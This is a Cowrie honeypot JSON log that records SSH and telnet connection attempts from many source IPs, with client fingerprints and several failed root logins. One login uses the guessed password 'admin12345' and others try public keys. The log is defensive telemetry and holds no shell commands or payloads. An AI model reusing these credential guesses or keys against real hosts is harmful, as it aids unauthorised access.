{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:36.647659Z","src_ip":"87.251.64.176","session":"62a96a6a6944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:36.751852Z","src_ip":"87.251.64.176","session":"62a96a6a6944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.249405145645142,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:41.164406Z","src_ip":"221.194.65.167","session":"e7a83de495ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.131.148.140","src_port":47296,"dst_ip":"159.203.135.109","dst_port":23,"session":"f74755a78d71","protocol":"telnet","message":"New connection: 40.131.148.140:47296 (159.203.135.109:23) [session: f74755a78d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:11:26.825665Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":58222,"dst_ip":"10.17.0.5","dst_port":23,"session":"93af91c79fda","protocol":"telnet","message":"New connection: 49.88.156.34:58222 (10.17.0.5:23) [session: 93af91c79fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:11:55.495239Z"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.232.189","src_port":39352,"dst_ip":"159.203.135.109","dst_port":23,"session":"e054134631be","protocol":"telnet","message":"New connection: 97.74.232.189:39352 (159.203.135.109:23) [session: e054134631be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:12:13.234872Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.1.228.20","src_port":35390,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bc3d0d01ddd","protocol":"telnet","message":"New connection: 179.1.228.20:35390 (10.17.0.5:23) [session: 9bc3d0d01ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:12:28.378834Z"}
{"eventid":"cowrie.session.closed","duration":12.655219078063965,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:12:41.033943Z","src_ip":"179.1.228.20","session":"9bc3d0d01ddd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19521450996399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:12:43.429971Z","src_ip":"97.74.232.189","session":"e054134631be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33188,"dst_ip":"10.17.0.5","dst_port":22,"session":"81f760ec87fa","protocol":"ssh","message":"New connection: 194.59.206.2:33188 (10.17.0.5:22) [session: 81f760ec87fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:13:24.651904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:13:24.656357Z","src_ip":"194.59.206.2","session":"81f760ec87fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:13:24.744695Z","src_ip":"194.59.206.2","session":"81f760ec87fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:13:24.836385Z","src_ip":"194.59.206.2","session":"81f760ec87fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00306034088135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:13:26.828594Z","src_ip":"40.131.148.140","session":"f74755a78d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00226831436157,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:13:55.497370Z","src_ip":"49.88.156.34","session":"93af91c79fda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":45044,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f80825a076b","protocol":"ssh","message":"New connection: 178.20.210.186:45044 (10.17.0.5:22) [session: 0f80825a076b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:14:26.693027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:14:26.697589Z","src_ip":"178.20.210.186","session":"0f80825a076b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:14:26.797198Z","src_ip":"178.20.210.186","session":"0f80825a076b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12345","message":"login attempt [root/admin12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:14:27.489236Z","src_ip":"178.20.210.186","session":"0f80825a076b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:14:28.620665Z","src_ip":"178.20.210.186","session":"0f80825a076b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.232.189","src_port":51638,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef21e35bfaa","protocol":"telnet","message":"New connection: 97.74.232.189:51638 (159.203.135.109:23) [session: aef21e35bfaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:17:27.617254Z"}
{"eventid":"cowrie.session.closed","duration":30.89775514602661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:17:58.514890Z","src_ip":"97.74.232.189","session":"aef21e35bfaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.115.219","src_port":53342,"dst_ip":"10.17.0.5","dst_port":23,"session":"b754cd94a6de","protocol":"telnet","message":"New connection: 20.203.115.219:53342 (10.17.0.5:23) [session: b754cd94a6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:02.870163Z"}
{"eventid":"cowrie.session.closed","duration":8.466402530670166,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:11.336423Z","src_ip":"20.203.115.219","session":"b754cd94a6de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":26182,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8874f20a406","protocol":"ssh","message":"New connection: 108.181.22.199:26182 (10.17.0.5:22) [session: d8874f20a406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:55.499614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:55.505346Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:55.794168Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:57:b4:df:9b:67:a0:04:89:e9:7b:90:77:c5:c6:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwTkATHm2v41OxbjZlapwbWZrXnhx0GoHE1Zo2syVUGcpq4VmCMCBMPr0wen1UrfVlee0Pga2svpBCk3bzcOTptuY4105IuExOMTGYrN9cyjLY9cbC+6WZcKYICW9gnCrvQK7aKdZ3npF2yCefDKtHFoCiZ8zMCQUqHZ4C9YzQW0nzwtRIE25F8BuVSTh77lbrQqqvBavlgBwqX6NWBfFbhzhCB+YyS0clocs7ACwR+5miPthqT75vZ6m6GUDhzjsYfTaa0iskdQjS1RjScWAMpBjYqd19kQ/vg47QwlhZhyzPesKBzR0KXU5DeqD4jb1z78UZshVUGFoAqxpBvuNb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:57:b4:df:9b:67:a0:04:89:e9:7b:90:77:c5:c6:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:57.269172Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:57:b4:df:9b:67:a0:04:89:e9:7b:90:77:c5:c6:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwTkATHm2v41OxbjZlapwbWZrXnhx0GoHE1Zo2syVUGcpq4VmCMCBMPr0wen1UrfVlee0Pga2svpBCk3bzcOTptuY4105IuExOMTGYrN9cyjLY9cbC+6WZcKYICW9gnCrvQK7aKdZ3npF2yCefDKtHFoCiZ8zMCQUqHZ4C9YzQW0nzwtRIE25F8BuVSTh77lbrQqqvBavlgBwqX6NWBfFbhzhCB+YyS0clocs7ACwR+5miPthqT75vZ6m6GUDhzjsYfTaa0iskdQjS1RjScWAMpBjYqd19kQ/vg47QwlhZhyzPesKBzR0KXU5DeqD4jb1z78UZshVUGFoAqxpBvuNb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:57.274162Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:58:1f:27:8a:e4:9b:a1:b7:a3:7d:90:9f:c5:ea:c9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJjxCKl9YvYm+NbJaiocZY4tlVJ6aP3Ii3uzpOHoSL0p","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e1:58:1f:27:8a:e4:9b:a1:b7:a3:7d:90:9f:c5:ea:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:57.543047Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:58:1f:27:8a:e4:9b:a1:b7:a3:7d:90:9f:c5:ea:c9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJjxCKl9YvYm+NbJaiocZY4tlVJ6aP3Ii3uzpOHoSL0p","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:57.546940Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:70:9d:d8:ad:68:ac:96:f9:6b:cf:4d:8b:52:0f:46","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHjwX/KqFXRxZu8nBmi2eDjgj/EPioxQHcyn2I2IhjBj","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a4:70:9d:d8:ad:68:ac:96:f9:6b:cf:4d:8b:52:0f:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:57.823203Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:70:9d:d8:ad:68:ac:96:f9:6b:cf:4d:8b:52:0f:46","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHjwX/KqFXRxZu8nBmi2eDjgj/EPioxQHcyn2I2IhjBj","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:57.827301Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:54:2d:16:84:d7:67:8c:f6:1c:44:f0:1b:6b:e7:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0av6OI7Amsj7bHL0dWadGjn3j4ITrEE04Jqiyq7pjkuL07YGga0TB91BAsnOtsJBRI9kV04o2tYdBQb6xQCAszHmaK3dFpDR5td4r1c2vKk+LiI2jo6xpuqHxtzoAQcqZFUahbU/gRNXiDLz9sY8w6Z2RkbZS+G+BsMunEKWdHCVfpBBuPIQFOop+bKa8y0WjqiG7/Q9IkL7CEYzd4zbInnwKwyFntTmsfonPnbQcrckqIwx0yfimElyIO4nv3sHrti4hEEBPoSL2WxZkWIGcsVKFaSi3esfgRi0t2/+D+jjP1sLmoschdZ4Z+BfsZsZQMvxlbB8PBAz+EvwkzpE4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:54:2d:16:84:d7:67:8c:f6:1c:44:f0:1b:6b:e7:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:58.116024Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:54:2d:16:84:d7:67:8c:f6:1c:44:f0:1b:6b:e7:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0av6OI7Amsj7bHL0dWadGjn3j4ITrEE04Jqiyq7pjkuL07YGga0TB91BAsnOtsJBRI9kV04o2tYdBQb6xQCAszHmaK3dFpDR5td4r1c2vKk+LiI2jo6xpuqHxtzoAQcqZFUahbU/gRNXiDLz9sY8w6Z2RkbZS+G+BsMunEKWdHCVfpBBuPIQFOop+bKa8y0WjqiG7/Q9IkL7CEYzd4zbInnwKwyFntTmsfonPnbQcrckqIwx0yfimElyIO4nv3sHrti4hEEBPoSL2WxZkWIGcsVKFaSi3esfgRi0t2/+D+jjP1sLmoschdZ4Z+BfsZsZQMvxlbB8PBAz+EvwkzpE4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:58.119979Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:5a:b1:78:8a:95:7e:d0:9c:2d:32:58:f0:04:40:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDkThkbFlD3B8iIOMvQThMqcD20PgKiFnSyoPfzE5acwZtFl96T89+v6f+fDZNvSo5UErnuMBO4DDWJXVwBUV4uuIzHm5hRWthNkScPsVat/TlDTNneKiVYegwnAyobuhY+ov8BR37Yl1rRLSz7+U9VxltoSNK3K3Y8kjfyOmsngG6C+lrlpNP4TzkWIp3UdRJgwgOK51Ss/L4pjch4U+ZW+gicXzdKPzLHaRN73Cm4qqx2CamFDlaa5ptYave8v9xm41L6tjgfysvgCyRDE7Vfk64Ke6OS9T4JuzWBWi6lS4rd+xQAqU6SpFm3avErz5D9WHLLhvG8m82R6Dwd/N9ENMiYfOC0RjHzUyOxynLPQxmghoQPR5GSqL3KhydxsVwOd5iThzVVD7Sp4PQbcl0hwc5pdLCZ3m70/+5xxio0QWKX+p7KJF6KiajSSSZvnHN+A+qgLS3sKrjRYfhkMh5NpT2wiWbM3ovAPbw0ssTxzRckrIewGodso4DpmVshF98=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:5a:b1:78:8a:95:7e:d0:9c:2d:32:58:f0:04:40:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:58.427753Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:5a:b1:78:8a:95:7e:d0:9c:2d:32:58:f0:04:40:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDkThkbFlD3B8iIOMvQThMqcD20PgKiFnSyoPfzE5acwZtFl96T89+v6f+fDZNvSo5UErnuMBO4DDWJXVwBUV4uuIzHm5hRWthNkScPsVat/TlDTNneKiVYegwnAyobuhY+ov8BR37Yl1rRLSz7+U9VxltoSNK3K3Y8kjfyOmsngG6C+lrlpNP4TzkWIp3UdRJgwgOK51Ss/L4pjch4U+ZW+gicXzdKPzLHaRN73Cm4qqx2CamFDlaa5ptYave8v9xm41L6tjgfysvgCyRDE7Vfk64Ke6OS9T4JuzWBWi6lS4rd+xQAqU6SpFm3avErz5D9WHLLhvG8m82R6Dwd/N9ENMiYfOC0RjHzUyOxynLPQxmghoQPR5GSqL3KhydxsVwOd5iThzVVD7Sp4PQbcl0hwc5pdLCZ3m70/+5xxio0QWKX+p7KJF6KiajSSSZvnHN+A+qgLS3sKrjRYfhkMh5NpT2wiWbM3ovAPbw0ssTxzRckrIewGodso4DpmVshF98=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:58.431747Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:18:58.736658Z","src_ip":"108.181.22.199","session":"d8874f20a406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.232.189","src_port":53414,"dst_ip":"159.203.135.109","dst_port":23,"session":"23651279511b","protocol":"telnet","message":"New connection: 97.74.232.189:53414 (159.203.135.109:23) [session: 23651279511b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:19:41.749466Z"}
{"eventid":"cowrie.session.closed","duration":30.79363703727722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:20:12.543000Z","src_ip":"97.74.232.189","session":"23651279511b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.209.153.153","src_port":39005,"dst_ip":"10.17.0.5","dst_port":23,"session":"51ac34247cf7","protocol":"telnet","message":"New connection: 115.209.153.153:39005 (10.17.0.5:23) [session: 51ac34247cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:21:21.371473Z"}
{"eventid":"cowrie.session.closed","duration":14.369250774383545,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:21:35.740597Z","src_ip":"115.209.153.153","session":"51ac34247cf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.232.189","src_port":58288,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcf25776b787","protocol":"telnet","message":"New connection: 97.74.232.189:58288 (159.203.135.109:23) [session: dcf25776b787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:22:05.436796Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63432,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3a00d6f019e","protocol":"ssh","message":"New connection: 194.59.206.2:63432 (159.203.135.109:22) [session: b3a00d6f019e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:22:19.154876Z"}
